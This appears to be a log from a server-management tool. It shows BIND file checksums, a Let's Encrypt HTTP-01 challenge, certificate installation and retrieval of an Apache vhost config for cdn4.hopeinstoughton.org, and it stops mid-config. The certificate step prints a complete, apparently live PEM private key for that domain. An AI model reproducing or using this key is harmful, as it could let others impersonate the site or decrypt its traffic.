MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-23 15:14:58: Establishing a connection
2026-02-23 15:14:59: Establishing a connection
2026-02-23 15:15:00: 

PUT: /tmp/pkp448886

#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-23 15:15:01: 

chmod 755 /tmp/pkp448886; /tmp/pkp448886; rm /tmp/pkp448886

2026-02-23 15:15:01: 


1


2026-02-23 15:15:02: Establishing a connection
2026-02-23 15:15:03: 

PUT: /tmp/pkp946220

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
cat > rMGYchSxX3pYMrRwiLcomAoYOwtATy_Rn356yaagMik <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rMGYchSxX3pYMrRwiLcomAoYOwtATy_Rn356yaagMik.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rMGYchSxX3pYMrRwiLcomAoYOwtATy_Rn356yaagMik


2026-02-23 15:15:04: 

chmod 755 /tmp/pkp946220; /tmp/pkp946220; rm /tmp/pkp946220

2026-02-23 15:15:04: 




2026-02-23 15:15:07: Establishing a connection
2026-02-23 15:15:08: 

PUT: /tmp/pkp762540

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
rm rMGYchSxX3pYMrRwiLcomAoYOwtATy_Rn356yaagMik


2026-02-23 15:15:09: 

chmod 755 /tmp/pkp762540; /tmp/pkp762540; rm /tmp/pkp762540

2026-02-23 15:15:09: 




2026-02-23 15:15:09: Establishing a connection
2026-02-23 15:15:10: 

PUT: /tmp/pkp127273

#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt

cat > $temp_file <<'endmsg'
be:f6:88:02:47:ac:2c:4b:61:15:9b:81:a5:23:00:51

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBWxOQaX1GSO5uSkun3CyOK/OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjIzMTQxNjM3WhcNMjYwNTI0MTQxNjM2WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDG+eC5OzGpwrR5EbBRitJJJg1k8WTUKQmC5zoD2SdKUFEE6WLF
hize5wPtN4MudPHyQzfVyAb/AGxWp/hVaxo09rVI8I9I8c1senSwZZKytOdFd9vF
Jas1QGnc5SEBcbbyfjs2LmwP1fgJXIXdicczFEI9e9As1kH63xeZDnU73fP0pM/2
zUtU6AFM+RJ0z/o6F+H3XPnyADe9SJrkUSNL/ptrvo0pQaRZZuhFV5/XmmkCrB2T
C+s6H7m5UgJRamcMzN4cA9WgTz3++reyQceAWtepaFWjWfNX6MhOGw+ZLh2VS/JQ
IbqDE5oiNvQWy3hed1eXc5Er1tqIrqJ0E+zHAgMBAAGjggImMIICIjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUqYEZZHheBL2uzrpRqySEkeNr1/EwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG40LmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy83OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZyLEYVBAAAE
AwBHMEUCIQCVNZ3VusTPYa/PNuvXP6KHbOTyMJ/TiHzkJD/mOcf/7gIgEhm9s8BA
Nd0SfpzgPQDAYOWJJQs/1UwC+f4EpqWdiWIAfgDjI43yjaKI4KrgrPD6kMmF8La/
9dKlJ7AB/BxEWMS26AAAAZyLEYaDAAgAAAUAM4R/NwQDAEcwRQIgLm9KmmEDxp07
fWAnJghyeUyBAXk+IYL0tIieDnfaK2cCIQDTNUhsGcVUj02lM5hISECuwcXi2Yrn
3gecRXuHDm66rjANBgkqhkiG9w0BAQsFAAOCAQEAhE9lkIw7ttUCh2r/IEt/zFqc
u1NsYnLnT95nwD3VNKcweSDRtBgTCXW9hid6YMh1s/P0T5YUPCnEPKn98ZBWD9Qz
ABFkSEapjBGdXDfE1lSSb9BBMwkypPsyTcVQwWlcamtbtsHCYNCUZN3hrKhzw6RB
eYsGOwsTyepBEYjqX4y6M0gBuE0n2Jm/Tv5SBaL7XAQflLGKtdP1Ru3/wfMaHUxO
3C8r0gZp2e+Z89wY2LGpXGPD/qCjk/7g9YWXr11OHlKHXaYLFb21bmj2+9q6IsTR
LoE7oyEwbBw9fbiFC3IdCNu5MFZB3eoJVCPJLQqMwYlMTUmY6nZiUnb0l2vopw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDG+eC5OzGpwrR5
EbBRitJJJg1k8WTUKQmC5zoD2SdKUFEE6WLFhize5wPtN4MudPHyQzfVyAb/AGxW
p/hVaxo09rVI8I9I8c1senSwZZKytOdFd9vFJas1QGnc5SEBcbbyfjs2LmwP1fgJ
XIXdicczFEI9e9As1kH63xeZDnU73fP0pM/2zUtU6AFM+RJ0z/o6F+H3XPnyADe9
SJrkUSNL/ptrvo0pQaRZZuhFV5/XmmkCrB2TC+s6H7m5UgJRamcMzN4cA9WgTz3+
+reyQceAWtepaFWjWfNX6MhOGw+ZLh2VS/JQIbqDE5oiNvQWy3hed1eXc5Er1tqI
rqJ0E+zHAgMBAAECggEAB58t8VDhjiDCZc2i22MquvKVZyoRmq7kiZPusC1y4j3a
9j00ACz4YXF0wD/bUb3ZDSNvnn8snwf9HmfaWcTiGoISX6dKiP8tYNv8xeUEjlcW
Czf6iyRUpccmrV3f7clu7WSe3NLaZzp8mp8yR+vHKmwhCj0VgSItiAnG3AemjF+n
qPWfwqXw2L6eMeaXJxDTv5l98RL/34xck8E+7/CDrezwsBv8+GkOFc2i963z1avK
DAXdozWWik2SnGZhvofsX6lSztCL/VMiQTWkNeR4q9aL+bXLOZ2/wrLgzboHtA+p
DSQ5mR5N3twPvFkVMRSK9OocmiC+fFjLreZfwMCogQKBgQDk7Xm9tdDME2Ps3uHh
4brg4Hq90YzlZQ0NReL+UZrUmZYs/QNfTbByb9hV9qqioPRRFq2uLGAwtDWjBYgH
8w0W+SZFNvzhy4rfWf8lhQiSVmTlojbO4kOKuapTl1eOJafwNm8joW7CGO6plkd1
EoWVqNK4i0HskVxGrvoe724P2QKBgQDegacp4myPDa9s+UTEeXfZ1jlfxCV661CQ
Gp30O6PT1Rkc/VjDrj8deG7W8hHKbVie4BeOSsSDjILLxfY4hYQs4FOfaDFqLUo0
bqkcgNsMBAYeDjEvr7FvQxgVCi0rfyxoG8EyztoRquKtHoi18dJx+svJ2l/BSkba
TlG21wCdnwKBgQCUweOr7Oti0O7LywEI4L+oxPW9Rt/BaGqUx2b7T1fG8o5taXO5
iCgyFI+FPKYgy2o3Dv+JAHj47QE1j7CXSc6lsPy3WUX2C2eQP1DWtp2dSdqChWgM
A2dUS9VsQBm62qlIJHcPtiTcp4reVDLW1lRLrcpP9N2/ta06mRUa6Qah8QKBgQCX
jF0r1PE1ug96vIiO/WCZOSSYyoLwpqeXjtl4iMp7tE/Hg/LaTKrmSqnLstJVOoa6
p0zD+L7CDojje7DJLH8rBZtPHmtRswkwjxKVvFn1ZCQ6glYT8al7a4pSgjzjvFml
iwnarjKvB+IeIYbhzZQVV8lHcXn4r7t0YxWa3/OmZwKBgE8q4pEzoZBNPT0riOwF
ZzEykEdIjbTrr+8HRAXOW1Sl9o3BUZ0Co4fzIj4l5OOxr0qBazMajfpFCr+/GBsp
MZ6PIHseJQo/JZSE5R81yh131BuHyBEhLIWmOIxjV0sk/Sba/uXaUopNUDaHIdzN
BzyK0Nakgdo1ko+ufXXzMzSe
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-23 15:15:11: 

chmod 755 /tmp/pkp127273; /tmp/pkp127273; rm /tmp/pkp127273

2026-02-23 15:15:11: 


dir=/etc/ssl/certs


2026-02-23 15:15:11: 

PUT: /tmp/pkp974410

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-23 15:15:12: 

chmod 755 /tmp/pkp974410; /tmp/pkp974410; rm /tmp/pkp974410

2026-02-23 15:15:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
